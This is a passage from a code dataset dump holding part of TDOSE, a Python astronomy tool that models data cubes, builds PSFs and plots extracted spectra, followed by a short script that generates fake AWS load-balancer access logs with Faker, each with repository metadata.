setupdic['source_catalog']\n    sourcedat_init  = afits.open(sourcecat_init)[1].data\n    sourcehdr_init  = afits.open(sourcecat_init)[1].header\n    sourceids_init  = sourcedat_init[setupdic['sourcecat_IDcol']]\n\n    Nsources        = len(sourceids_init)\n    sourcenumber    = np.arange(Nsources)\n\n    if type(setupdic['sources_to_extract']) == np.str_ or (type(setupdic['sources_to_extract']) == str):\n        if setupdic['sources_to_extract'].lower() == 'all':\n            extractids = sourceids_init.astype(float)\n        else:\n            extractids = np.genfromtxt(setupdic['sources_to_extract'],dtype=None,comments='#')\n            extractids = list(extractids.astype(float))\n    else:\n        extractids = setupdic['sources_to_extract']\n    Nextractions = len(extractids)\n    if verbose: print('   Will combine models of '+str(Nextractions)+' extracted objects (if models exists) into full FoV cubes ')\n    # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n    if verbose: print(' - Checking that source model cubes exist in models_directory ')\n    modeldir = setupdic['models_directory']\n    basename = setupdic['data_cube'].split('/')[-1].split('.fit')[0]\n\n    for objid in extractids:\n        sourcemodelcube = glob.glob(modeldir+basename+'*id'+str(int(objid))+'*cutout*'+\n                                    setupdic['source_model_cube_ext']+'_'+setupdic['psf_type']+'.fits')\n\n        if len(sourcemodelcube) == 0:\n            if verbose: print('   WARNING: did not find a source model cube for object '+str(objid))\n        elif len(sourcemodelcube) > 1:\n            if verbose: print('   WARNING: found more than one source model cube for object '+str(objid)+\\\n                              '\\n   Using '+sourcemodelcube[0])\n\n    if verbose: print('   If no WARNINGs raised, all cubes were found')\n\n    # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n    if verbose: print(' - Build template full FoV cubes to fill with models')\n    cube_data     = afits.open(setupdic['data_cube'])[setupdic['cube_extension']].data\n    cube_data_hdr = afits.open(setupdic['data_cube'])[setupdic['cube_extension']].header\n    striphdr      = tu.strip_header(cube_data_hdr.copy())\n    cubewcs       = wcs.WCS(striphdr)\n    cubewcs_2D    = tu.WCS3DtoWCS2D(cubewcs.copy())\n    cube_shape    = cube_data.shape\n\n    if store_sourcemodelcube:\n        smc_out      = np.zeros([Nextractions,cube_shape[0],cube_shape[1],cube_shape[2]])\n    if store_modelcube:\n        cube_out     = np.zeros([cube_shape[0],cube_shape[1],cube_shape[2]])\n        cube_model   = np.zeros([cube_shape[0],cube_shape[1],cube_shape[2]])\n    # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n    if verbose: print(' - Adding individual models to full FoV output cubes ')\n    for oo, objid in enumerate(extractids):\n        cutstr, cutoutsize, cut_img, cut_cube, cut_variance, cut_sourcecat = tu.get_datinfo(objid,setupdic)\n\n        sourcemodelcube = glob.glob(modeldir+basename+'*id'+str(int(objid))+'*cutout*'+\n                                    setupdic['source_model_cube_ext']+'_'+setupdic['psf_type']+'.fits')\n\n        if len(sourcemodelcube) > 0:\n            subsourcecat_file = setupdic['source_catalog'].replace('.fits',cutstr+'.fits')\n            if not os.path.isfile(subsourcecat_file):\n                sys.exit(' ---> did not find the source catalog \\n                  '+subsourcecat_file+\n                         '\\n                  need it to locate model and define region of insertion in full FoV cube. ')\n            subsourcecat    = afits.open(subsourcecat_file)[1].data\n            objid_modelent  = np.where(subsourcecat['id'] == objid)[0][0]\n\n            if setupdic['sourcecat_parentIDcol'] is None:\n                parent_id       = None\n                Nparent         = 1\n            else:\n                parent_id       = subsourcecat[setupdic['sourcecat_parentIDcol']][objid_modelent]\n                parent_ent      = np.where(subsourcecat[setupdic['sourcecat_parentIDcol']] == parent_id)[0]\n                source_ids      = subsourcecat['id'][parent_ent]\n                Nparent         = len(parent_ent)\n\n            sourcemodelhdu = afits.open(sourcemodelcube[0])\n            if Nparent == 1:\n                infostr = '   > Getting object model for '+str(int(objid))+' (source model no. '+str(int(objid_modelent))+')'+\\\n                          '   (obj '+str(\"%.5d\" % (oo+1))+' / '+str(\"%.5d\" % (Nextractions))+')       '\n                sourcemodel = sourcemodelhdu[setupdic['cube_extension']].data[objid_modelent,:,:,:]\n            else:\n                infostr = '   > Getting object model for '+str(int(parent_id))+'\\n     (combining source models: '+\\\n                          ','.join([str(int(id)) for id in source_ids])+', i.e. source model no. '+\\\n                          ','.join([str(int(ent)) for ent in parent_ent])+')'+\\\n                          '   (obj '+str(\"%.5d\" % (oo+1))+' / '+str(\"%.5d\" % (Nextractions))+')       '\n\n                sourcemodel = np.sum(sourcemodelhdu[setupdic['cube_extension']].data[parent_ent,:,:,:],axis=0)\n\n            if verbose:\n                sys.stdout.write(\"%s\\r\" % infostr)\n                sys.stdout.flush()\n\n            ra_obj        = subsourcecat[setupdic['sourcecat_racol']][objid_modelent]\n            dec_obj       = subsourcecat[setupdic['sourcecat_deccol']][objid_modelent]\n            skyc          = SkyCoord(ra_obj, dec_obj, frame='fk5', unit=(units.deg,units.deg))\n            size          = units.Quantity((  cutoutsize[1], cutoutsize[0]), units.arcsec)\n            cutout_layer  = Cutout2D(cube_data[0,:,:], skyc, size, wcs=cubewcs_2D, mode='partial')\n\n            if store_sourcemodelcube:\n                smc_out[oo,:,cutout_layer.bbox_original[0][0]:cutout_layer.bbox_original[0][1]+1,\n                             cutout_layer.bbox_original[1][0]:cutout_layer.bbox_original[1][1]+1] = sourcemodel\n            if store_modelcube:\n                if store_sourcemodelcube:\n                    continue\n                else:\n                    cube_model = cube_model*0.0 # reset to zeros\n                    cube_model[:,cutout_layer.bbox_original[0][0]:cutout_layer.bbox_original[0][1]+1,\n                                 cutout_layer.bbox_original[1][0]:cutout_layer.bbox_original[1][1]+1] = sourcemodel\n                    cube_out = cube_out + cube_model\n            sourcemodelhdu.close()\n    if verbose: print('\\n   ... done')\n    # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n    if store_sourcemodelcube:\n        fullfov_smc = modeldir+basename+'_'+setupdic['source_model_cube_ext']+'_'+setupdic['psf_type']+'_fullFoV.fits'\n        if verbose: print(' - Storing final full FoV source model cube to:\\n   '+fullfov_smc)\n        if 'XTENSION' in list(cube_data_hdr.keys()):\n            hduprim        = afits.PrimaryHDU()  # default HDU with default minimal header\n            hducube        = afits.ImageHDU(smc_out,header=cube_data_hdr)\n            hdus           = [hduprim,hducube]\n        else:\n            hducube = afits.PrimaryHDU(smc_out,header=cube_data_hdr)\n            hdus           = [hducube]\n\n        hdulist = afits.HDUList(hdus)       # turn header into to hdulist\n        hdulist.writeto(fullfov_smc,overwrite=clobber)  # write fits file\n\n    # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n    if store_modelcube:\n        fullfov_cube = modeldir+basename+'_'+setupdic['model_cube_ext']+'_'+setupdic['psf_type']+'_fullFoV.fits'\n        if store_sourcemodelcube:\n            cube_out = np.sum(smc_out,axis=0)\n        if verbose: print(' - Producing FoV model cube from full FoV source model cube and storing it in:\\n   '+fullfov_cube)\n        if 'XTENSION' in list(cube_data_hdr.keys()):\n            hduprim        = afits.PrimaryHDU()  # default HDU with default minimal header\n            hducube        = afits.ImageHDU(cube_out,header=cube_data_hdr)\n            hdus           = [hduprim,hducube]\n        else:\n            hducube = afits.PrimaryHDU(cube_out,header=cube_data_hdr)\n            hdus           = [hducube]\n\n        hdulist = afits.HDUList(hdus)       # turn header into to hdulist\n        hdulist.writeto(fullfov_cube,overwrite=clobber)  # write fits file\n\n# = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =\ndef model_refimage(setupdic,refimg,img_hdr,sourcecat,modelimg,modelparam,regionfile,img_wcs,img_data,names,objid=None,\n                   save_init_model_output=True,centralpointsource=False,clobber=True,verbose=True,verbosefull=True):\n    \"\"\"\n    Modeling the refernce image\n\n    --- INPUT ---\n    setupdic                Dictionary containing the setup parameters read from the TDOSE setup file\n    refimg                  Name of fits reference image to model\n    img_hdr                 Fits header of reference image\n    sourcecat               Source catalog providing coordinates of objects in reference image to model\n    modelimg                Name of output file to store model to\n    modelparam              Fits table to contain the model parameters (which will be turned into a DS9 region file)\n    regionfile              The name of the regionfile to generate with model parameter regions\n    img_wcs                 WCS of image to model\n    img_data                Data of image array\n    names                   Names of individual objects used in DS9 region\n    objid                   ID of object being modeled. Only needed for assigning the aperture size, for\n                            aperture extractions with multiple aperture sizes provided in setup file.\n    save_init_model_output  Set to true to save the initial model to files\n    centralpointsource      To insert central point source set to true\n    clobber                 Overwrite files if the already exist\n    verbose                 Toggle verbosity\n    verbosefull             Toggle extended verbosity\n\n    \"\"\"\n    if setupdic['source_model'].lower() == 'gauss':\n        sigysigxangle = None\n        fluxscale     = setupdic['sourcecat_fluxcol']\n        if setupdic['gauss_guess'] is None:\n            param_initguess = None\n        else:\n            objects   = afits.open(sourcecat)[1].data[setupdic['sourcecat_IDcol']].tolist()\n            objxpos   = afits.open(sourcecat)[1].data[setupdic['sourcecat_xposcol']].tolist()\n            objypos   = afits.open(sourcecat)[1].data[setupdic['sourcecat_yposcol']].tolist()\n\n            if save_init_model_output:\n                saveDS9region = True\n                savefitsimage = True\n                savefitstable = True\n                ds9regionname = refimg.replace('.fits','_tdose_initial_model_ds9region.reg')\n                fitsimagename = refimg.replace('.fits','_tdose_initial_model_image.fits')\n                fitstablename = refimg.replace('.fits','_tdose_initial_model_objparam.fits')\n            else:\n                saveDS9region = False\n                savefitsimage = False\n                savefitstable = False\n                ds9regionname = ' '\n                fitsimagename = ' '\n                fitstablename = ' '\n\n            paramlist = tu.gen_paramlist_from_SExtractorfile(setupdic['gauss_guess'],imgheader=img_hdr,clobber=clobber,\n                                                             objects=objects,objxpos=objxpos,objypos=objypos,\n                                                             idcol=setupdic['gauss_guess_idcol'],\n                                                             racol=setupdic['gauss_guess_racol'],\n                                                             deccol=setupdic['gauss_guess_deccol'],\n                                                             aimg=setupdic['gauss_guess_aimg'],\n                                                             bimg=setupdic['gauss_guess_bimg'],\n                                                             angle=setupdic['gauss_guess_angle'],\n                                                             fluxscale=setupdic['gauss_guess_fluxscale'],\n                                                             fluxfactor=setupdic['gauss_guess_fluxfactor'],\n                                                             Nsigma=setupdic['gauss_guess_Nsigma'],\n                                                             verbose=verbosefull,\n                                                             saveDS9region=saveDS9region,ds9regionname=ds9regionname,\n                                                             savefitsimage=savefitsimage,fitsimagename=fitsimagename,\n                                                             savefitstable=savefitstable,fitstablename=fitstablename)\n            param_initguess = paramlist\n    elif setupdic['source_model'].lower() == 'galfit':\n        sys.exit(' ---> source_model == galfit is not enabled yet; sorry... \\n'\n                 '      But TDOSE can be fed galfit output using tdose_utilities.galfit_* routines and \\n'\n                 '      the \"modelimg\" extraction mode. Try that instead.')\n    elif setupdic['source_model'].lower() == 'aperture':\n        param_initguess  = None\n        pixscales        = wcs.utils.proj_plane_pixel_scales(img_wcs)*3600.0\n        pixscaleunique   = np.unique(np.round(pixscales,8))\n        if len(pixscaleunique) != 1:\n            sys.exit(' ---> The pixel scale in the x and y direction of image are different (pixscales='+str(pixscales)+')')\n        else:\n            if type(setupdic['aperture_size']) == np.str_ or (type(setupdic['aperture_size']) == str):\n                apertureinfo = np.genfromtxt(setupdic['aperture_size'],dtype=[('id', int), ('size', float)],comments='#')\n                aperobjent   = np.where(apertureinfo['id'] == objid)[0]\n                apsize       = apertureinfo['size'][aperobjent]\n\n            else:\n                apsize       = setupdic['aperture_size']\n            sigysigxangle =  apsize / pixscaleunique          # radius in pixels\n            fluxscale     =  afits.open(sourcecat)[1].data[setupdic['sourcecat_IDcol']].astype(float)  # pixel values\n    else:\n        sys.exit(' ---> Setting source_model == '+setupdic['source_model']+' is not a valid entry')\n\n    # checking if constraint is set on centroid positioning in setup file for modeling\n    try:\n        maxcenshift = setupdic['max_centroid_shift']\n    except:\n        maxcenshift = None\n\n    if setupdic['nondetections']:\n        pixscales  = wcs.utils.proj_plane_pixel_scales(img_wcs)*3600.0\n        if type(setupdic['ignore_radius']) == float:\n            ignore_radius_pix = np.asarray([setupdic['ignore_radius']]*2) / pixscales\n        else:\n            ignore_radius_pix = np.asarray(setupdic['ignore_radius']) / pixscales\n    else:\n        ignore_radius_pix = 'dummy'\n\n    pinit, fit    = tmf.gen_fullmodel(img_data,sourcecat,modeltype=setupdic['source_model'],verbose=verbosefull,\n                                      xpos_col=setupdic['sourcecat_xposcol'],ypos_col=setupdic['sourcecat_yposcol'],\n                                      datanoise=None,sigysigxangle=sigysigxangle,\n                                      fluxscale=fluxscale,generateimage=modelimg,\n                                      generateresidualimage=True,clobber=clobber,outputhdr=img_hdr,\n                                      param_initguess=param_initguess,max_centroid_shift=maxcenshift,\n                                      centralpointsource=centralpointsource,ignore_radius=ignore_radius_pix)\n\n    if (setupdic['source_model'].lower() == 'gauss') & (len(names) != len(fit[0])/6):\n        if verbose: print('    Correcting region file names as one or more objects were ingnored in the modeling')\n        names_tmp = []\n        if param_initguess is None:\n            sourcecat_dat  = afits.open(sourcecat)[1].data\n            xpos_check     = sourcecat_dat[setupdic['sourcecat_xposcol']]\n        else:\n            xpos_check     = param_initguess[1::6]\n\n        for xpixinit in pinit[1::6]:\n            matchent = np.where(xpos_check == xpixinit)[0]\n            names_tmp.append(names[int(matchent)])\n        names = names_tmp\n\n    tu.model_ds9region(modelparam,regionfile,img_wcs,color='cyan',width=2,Nsigma=2,textlist=names,\n                       fontsize=12,clobber=clobber)\n\n# = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =\ndef model_datacube(setupdic,extid,modcubename,rescubename,cube_data,cube_variance,paramCUBE,cube_hdr,paramPSF,\n                   psfcubename=False,clobber=False,verbose=True,verbosefull=True):\n    \"\"\"\n    Modeling the data cube\n\n    --- INPUT ---\n    setupdic                Dictionary containing the setup parameters read from the TDOSE setup file\n    extid                   ID of cube to model\n    modcubename             Name of model cube to generate\n    rescubename             Name of residual cube to generate\n    cube_data               Data cube\n    cube_variance           Variance for data cube (cube_data)\n    paramCUBE               Parameters of objects in data cube\n    cube_hdr                Header of data cube\n    paramPSF                Parameters of PSF\n    psfcubename             Name of PSF cube to use for numerical convolutions\n    clobber                 Overwrite files if they exist\n    verbose                 Toggle verbosity\n    verbosefull             Toggle extended verbosity\n\n    \"\"\"\n    if setupdic['model_cube_layers'] == 'all':\n        layers = None\n    elif type(setupdic['model_cube_layers']) == list:\n        layers = np.arange(setupdic['model_cube_layers'][0],setupdic['model_cube_layers'][1]+1,1)\n    else:\n        layerinfo = np.genfromtxt(setupdic['model_cube_layers'],dtype=None,comments='#')\n\n        try:\n            layer_ids            = layerinfo[:,0].astype(float)\n            structuredlayerarray = False\n        except:\n            layer_ids            = layerinfo['f0'].astype(float)\n            structuredlayerarray = True\n\n        objent = np.where(layer_ids == extid)[0]\n\n        if len(objent) > 1:\n            sys.exit(' ---> More than one match in '+setupdic['model_cube_layers']+' for object '+str(extid))\n        elif len(objent) == 0:\n            sys.exit(' ---> No match in '+setupdic['model_cube_layers']+' for object '+str(extid))\n        else:\n            if structuredlayerarray:\n                if layerinfo['f1'][objent] == 'all':\n                    layers = None\n                else:\n                    layers = [int(layerinfo['f1'][objent]),int(layerinfo['f2'][objent])]\n                    layers = np.arange(layers[0],layers[1]+1,1)\n            else:\n                layers = layerinfo[objent,1:][0].astype(float).tolist()\n                layers = np.arange(layers[0],layers[1]+1,1)\n\n    optimizer    = setupdic['model_cube_optimizer']\n    paramtype    = setupdic['source_model']\n    psfparamtype = setupdic['psf_type']\n    if paramtype.lower() != 'aperture':\n        psfcube  = afits.open(psfcubename)[setupdic['cube_extension']].data\n    else:\n        psfcube  = None\n\n    cube_stddev = np.sqrt(cube_variance) # turn variance cube into standard deviation\n    cube_model, layer_scales = tmc.gen_fullmodel(cube_data,paramCUBE,paramPSF,paramtype=paramtype,\n                                                 psfparamtype=psfparamtype,noisecube=cube_stddev,save_modelcube=True,\n                                                 cubename=modcubename,clobber=clobber,psfcube=psfcube,\n                                                 fit_source_scales=True,outputhdr=cube_hdr,verbose=verbosefull,\n                                                 returnresidual=rescubename,optimize_method=optimizer,model_layers=layers)\n\n# = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =\ndef define_psf(setupdic,datacube,cube_data,cube_scales,cube_hdr,cube_waves,clobber=False,verbose=True,verbosefull=True):\n    \"\"\"\n    Defining the PSF model to convolve reference image with\n\n    --- INPUT ---\n    setupdic                Dictionary containing the setup parameters read from the TDOSE setup file\n    datacube                Name of data used for printing.\n    cube_data               Data from datacube to base PSF cube dimensions on\n    cube_scales             The pixel scale of the data cube\n    cube_hdr                The data cube fits header\n    cube_waves              The wavelengths corresponding to the layers of the data cube\n    clobber                 Overwrite files if they exist\n    verbose                 Toggle verbosity\n    verbosefull             Toggle extended verbosity\n\n    \"\"\"\n    if setupdic['psf_FWHM_evolve'].lower() == 'linear':\n        fwhm_p0     = setupdic['psf_FWHMp0']\n        fwhm_p1     = setupdic['psf_FWHMp1']\n        fwhm_p2     = setupdic['psf_FWHMp2']\n        fwhm_vec    = fwhm_p0 + fwhm_p1 * (cube_waves - fwhm_p2)\n        sigmas      = fwhm_vec/2.35482/cube_scales[0]\n    else:\n        sys.exit(' ---> '+setupdic['psf_FWHM_evolve']+' is an invalid choice for the psf_FWHM_evolve setup parameter ')\n\n    if (setupdic['psf_type'].lower() == 'gauss') or (setupdic['psf_type'].lower() == 'kernel_gauss'):\n        xpos,ypos,fluxscale,angle = 0.0, 0.0, 1.0, 0.0\n        paramPSF                  = []\n        for layer in np.arange(cube_data.shape[0]):\n            sigma = sigmas[layer]\n            paramPSF.append([xpos,ypos,fluxscale,sigma,sigma,angle])\n        paramPSF  = np.asarray(paramPSF)\n    elif (setupdic['psf_type'].lower() == 'kernel_moffat'):\n        xpos,ypos,fluxscale,angle = 0.0, 0.0, 1.0, 0.0\n        powerindex                = setupdic['psf_FWHMp3']\n        paramPSF                  = []\n        for layer in np.arange(cube_data.shape[0]):\n            sigma = sigmas[layer]\n            paramPSF.append([xpos,ypos,fluxscale,sigma,sigma,angle,powerindex])\n        paramPSF  = np.asarray(paramPSF)\n    else:\n        sys.exit(' ---> '+setupdic['psf_type']+' is an invalid choice for the psf_type setup parameter ')\n\n    if setupdic['psf_savecube']:\n        psfcubename = setupdic['models_directory']+'/'+datacube.split('/')[-1].replace('.fits','_tdose_psfcube_'+\n                                                                                       setupdic['source_model']+'.fits')\n        if verbose: print(' - Storing PSF cube to fits file \\n   '+psfcubename)\n\n        if os.path.isfile(psfcubename) & (clobber == False):\n            if verbose: print(' ---> TDOSE WARNING: PSF cube already exists and clobber = False so skipping step')\n        else:\n            psfcube = cube_data*0.0\n            for ll in np.arange(len(cube_waves)):\n                if verbosefull:\n                    infostr = '   Building PSF in layer '+str(\"%6.f\" % (ll+1))+' / '+str(\"%6.f\" % len(cube_waves))+''\n                    sys.stdout.write(\"%s\\r\" % infostr)\n                    sys.stdout.flush()\n\n                if setupdic['psf_type'].lower() == 'gauss':\n                    #mu_psf    = paramPSF[ll][0:2]\n                    cov_psf   = tu.build_2D_cov_matrix(paramPSF[ll][4],paramPSF[ll][3],paramPSF[ll][5],verbose=False)\n                    psfimg    = tu.gen_2Dgauss(np.asarray(cube_data.shape[1:]).tolist(),cov_psf,1.0,\n                                               show2Dgauss=False,verbose=False)\n                elif setupdic['psf_type'].lower() == 'kernel_gauss':\n                    kernel_sigma = paramPSF[ll][3]\n                    kernel       = astropy.convolution.Gaussian2DKernel(kernel_sigma,x_size=cube_data.shape[2],y_size=cube_data.shape[1])\n                    psfimg       = kernel.array\n                elif setupdic['psf_type'].lower() == 'kernel_moffat':\n                    kernel_gamma = paramPSF[ll][3] # core width\n                    kernel_alpha = paramPSF[ll][3] # power index\n                    kernel       = astropy.convolution.Moffat2DKernel(kernel_gamma,kernel_alpha,\n                                                                      x_size=cube_data.shape[2],y_size=cube_data.shape[1])\n                    psfimg       = kernel.array\n                else:\n                    sys.exit(' ---> '+setupdic['psf_type']+' is an invalid choice for the psf_type setup parameter ')\n\n                psfcube[ll,:,:] = psfimg\n\n            if 'XTENSION' in list(cube_hdr.keys()):\n                hduprim        = afits.PrimaryHDU()  # default HDU with default minimal header\n                hducube        = afits.ImageHDU(psfcube,header=cube_hdr)\n                hducube.header.append(('PSF_P0',    setupdic['psf_FWHMp0'],' '),end=True)\n                hducube.header.append(('PSF_P1',    setupdic['psf_FWHMp1'],' '),end=True)\n                hdus           = [hduprim,hducube]\n            else:\n                hducube = afits.PrimaryHDU(psfcube,header=cube_hdr)\n                hducube.header.append(('PSF_P0',    setupdic['psf_FWHMp0'],' '),end=True)\n                hducube.header.append(('PSF_P1',    setupdic['psf_FWHMp1'],' '),end=True)\n                hdus           = [hducube]\n\n            hdulist = afits.HDUList(hdus)\n            hdulist.writeto(psfcubename,overwrite=clobber)\n\n    return paramPSF\n\n# = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =\ndef plot_spectra(setupdic,SAD,specoutputdir,plot1Dspectra=True,plotS2Nspectra=True,verbose=True):\n    \"\"\"\n\n    --- INPUT ---\n    setupdic                Dictionary containing the setup parameters read from the TDOSE setup file\n    SAD                     Source association dictionary difining what sources should be combined into objects\n                            (spectra) when plotting.\n    specoutputdir           Directory to store plots in\n    plot1Dspectra           Plot 1D spectra?\n    plotS2Nspectra          Plot signal-to-noise spectra of the 1D spectra?\n    verbose                 Toggle verbosity\n\n    \"\"\"\n    showspec        = False\n\n    for key in list(SAD.keys()):\n        spec = specoutputdir+setupdic['spec1D_name']+'_'+setupdic['source_model']+'_'+key+'.fits'\n        id   = spec.split('_')[-1].split('.')[0]\n\n        if plot1Dspectra:\n            xrange = setupdic['plot_1Dspec_xrange']\n            yrange = setupdic['plot_1Dspec_yrange']\n\n            tes.plot_1Dspecs([spec],colors=['green'],labels=[id],plotSNcurve=False,\n                             plotname=spec.replace('.fits','_'+setupdic['plot_1Dspec_ext']+'.pdf'),showspecs=showspec,\n                             shownoise=setupdic['plot_1Dspec_shownoise'],xrange=xrange,yrange=yrange,\n                             comparisonspecs=None,comp_colors=['dummy'],comp_labels=['dummy'],\n                             comp_wavecol='dummy',comp_fluxcol='dummy',comp_errcol='dummy', pubversion=True)\n        else:\n            if verbose: print(' >>> Skipping plotting 1D spectra ')\n\n        if plotS2Nspectra:\n            xrange = setupdic['plot_S2Nspec_xrange']\n            yrange = setupdic['plot_S2Nspec_yrange']\n\n            tes.plot_1Dspecs([spec],colors=['green'],labels=[id],plotSNcurve=True,\n                             plotname=spec.replace('.fits','_'+setupdic['plot_S2Nspec_ext']+'.pdf'),showspecs=showspec,\n                             shownoise='dummy',xrange=xrange,yrange=yrange,\n                             comparisonspecs=None,comp_colors=['dummy'],comp_labels=['dummy'],\n                             comp_wavecol='dummy',comp_fluxcol='dummy',comp_errcol='dummy', pubversion=True)\n        else:\n            if verbose: print(' >>> Skipping plotting S/N spectra ')\n# = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =\n", "meta": {"hexsha": "e6990a97e6acea54038209dc05fa1d062058dd1a", "size": 85736, "ext": "py", "lang": "Python", "max_stars_repo_path": "tdose.py", "max_stars_repo_name": "kasperschmidt/TDOSE", "max_stars_repo_head_hexsha": "ecc7b8428c59ee96935d5bac5d6bcc69117be133", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 12, "max_stars_repo_stars_event_min_datetime": "2017-06-12T14:20:28.000Z", "max_stars_repo_stars_event_max_datetime": "2021-03-05T14:01:22.000Z", "max_issues_repo_path": "tdose.py", "max_issues_repo_name": "kasperschmidt/TDOSE", "max_issues_repo_head_hexsha": "ecc7b8428c59ee96935d5bac5d6bcc69117be133", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 5, "max_issues_repo_issues_event_min_datetime": "2019-04-12T14:54:59.000Z", "max_issues_repo_issues_event_max_datetime": "2021-03-05T17:08:08.000Z", "max_forks_repo_path": "tdose.py", "max_forks_repo_name": "kasperschmidt/TDOSE", "max_forks_repo_head_hexsha": "ecc7b8428c59ee96935d5bac5d6bcc69117be133", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 3, "max_forks_repo_forks_event_min_datetime": "2019-04-12T21:46:32.000Z", "max_forks_repo_forks_event_max_datetime": "2021-01-23T06:39:32.000Z", "avg_line_length": 61.636232926, "max_line_length": 297, "alphanum_fraction": 0.5194200802, "include": true, "reason": "import numpy,import astropy,from astropy", "num_tokens": 20207, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5389832354982645, "lm_q2_score": 0.18010665968560707, "lm_q1q2_score": 0.09707447017213335}}
{"text": "#!/usr/bin/python\nimport time\nimport datetime\nimport pytz\nimport numpy\nimport random\nimport gzip\nimport zipfile\nimport sys\nimport argparse\nfrom faker import Faker\nfrom random import randrange\n\n\nclass switch(object):\n    def __init__(self, value):\n        self.value = value\n        self.fall = False\n\n    def __iter__(self):\n        \"\"\"Return the match method once, then stop\"\"\"\n        yield self.match\n        raise StopIteration\n\n    def match(self, *args):\n        \"\"\"Indicate whether or not to enter a case suite\"\"\"\n        if self.fall or not args:\n            return True\n        elif self.value in args:  # changed for v1.5, see below\n            self.fall = True\n            return True\n        else:\n            return False\n\n\nparser = argparse.ArgumentParser(__file__, description=\"Fake Apache Log Generator\")\nparser.add_argument(\"--output\", \"-o\", dest='output_type', help=\"Write to a Log file, a gzip file or to STDOUT\",\n                    choices=['LOG', 'GZ', 'CONSOLE'])\nparser.add_argument(\"--num\", \"-n\", dest='num_lines', help=\"Number of lines to generate (0 for infinite)\", type=int,\n                    default=1)\nparser.add_argument(\"--prefix\", \"-p\", dest='file_prefix', help=\"Prefix the output file name\", type=str)\nparser.add_argument(\"--sleep\", \"-s\", help=\"Sleep this long between lines (in seconds)\", default=0.0, type=float)\n\nargs = parser.parse_args()\n\nlog_lines = args.num_lines\nfile_prefix = args.file_prefix\noutput_type = args.output_type\n\nfaker = Faker()\n\ntimestr = time.strftime(\"%Y%m%d-%H%M%S\")\notime = datetime.datetime.now()\n\noutFileName = 'elasticloadbalancing_log_' + timestr + '.log' if not file_prefix else file_prefix + '_elasticloadbalancing_log_' + timestr + '.log'\n\nfor case in switch(output_type):\n    if case('LOG'):\n        f = open(outFileName, 'w')\n        break\n    if case('GZ'):\n        f = gzip.open(outFileName + '.gz', 'w')\n        break\n    if case('CONSOLE'): pass\n    if case():\n        f = sys.stdout\n\nresponse = [\"200\", \"404\", \"500\", \"301\", \"504\"]\n\nverb = [\"GET\", \"POST\", \"DELETE\", \"PUT\"]\n\nresources = [\"/list\", \"courses/285528/modules/776924/\", \"courses/285528/modules\", \"/explore\", \"/search/tag/list\",\n             \"/app/main/posts\", \"/posts/posts/explore\", \"/questions/856776/item_versions\"]\n\nualist = [faker.firefox, faker.chrome, faker.safari, faker.internet_explorer, faker.opera]\n\nflag = True\nwhile (flag):\n    if args.sleep:\n        increment = datetime.timedelta(seconds=args.sleep)\n    else:\n        increment = datetime.timedelta(seconds=random.randint(30, 300))\n    otime += increment\n\n    ip = faker.ipv4()\n    ip2 = faker.ipv4()\n    ip2 = ip2 + \":80\"\n    # port2 = int(random.gauss(5000,50))\n    # ip2=ip2+\":\"+port2\n    dt = otime.isoformat()\n    rpt = round(random.random(), 6)\n    bpt = round(random.random(), 6)\n    rept = round(random.random(), 6)\n    vrb = numpy.random.choice(verb, p=[0.6, 0.1, 0.1, 0.2])\n    uri = random.choice(resources)\n    if uri.find(\"apps\") > 0:\n        uri += str(random.randint(1000, 10000))\n    resp = numpy.random.choice(response, p=[0.6, 0.04, 0.02, 0.04, 0.3])\n    byt = int(random.gauss(5000, 50))\n    ssl_cipher = \"ECDHE-RSA-AES128-GCM-SHA256\"\n    ssl_protocol = \"TLSv1.2\"\n    referer = faker.uri()\n    useragent = numpy.random.choice(ualist, p=[0.5, 0.3, 0.1, 0.05, 0.05])()\n    if resp == \"504\":\n        ip2 = \"-\"\n        rpt = -1\n        bpt = -1\n        rept = -1\n    f.write('%sZ %s %s:443 %s %s %s %s %s %s %s %s \"%s https://learningcatalytics.com:443%s HTTP/1.0\" \"%s\" %s %s\\n' % (\n    dt, \"prod\", ip, ip2, rpt, bpt, rept, resp, resp, byt, byt, vrb, uri, useragent, ssl_cipher, ssl_protocol))\n    f.flush()\n    log_lines = log_lines - 1\n    flag = False if log_lines == 0 else True\n    if args.sleep:\n        time.sleep(args.sleep)\n", "meta": {"hexsha": "e8bddfdd4b702e360714d0247c5178aae4c8997f", "size": 3749, "ext": "py", "lang": "Python", "max_stars_repo_path": "elb-fake-log-gen.py", "max_stars_repo_name": "kekayan/Fake-ELB-Log-Generator", "max_stars_repo_head_hexsha": "dd5ec7f96ba3ec7e2c6deb8fe5832b8286b3a0d8", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "elb-fake-log-gen.py", "max_issues_repo_name": "kekayan/Fake-ELB-Log-Generator", "max_issues_repo_head_hexsha": "dd5ec7f96ba3ec7e2c6deb8fe5832b8286b3a0d8", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "elb-fake-log-gen.py", "max_forks_repo_name": "kekayan/Fake-ELB-Log-Generator", "max_forks_repo_head_hexsha": "dd5ec7f96ba3ec7e2c6deb8fe5832b8286b3a0d8", 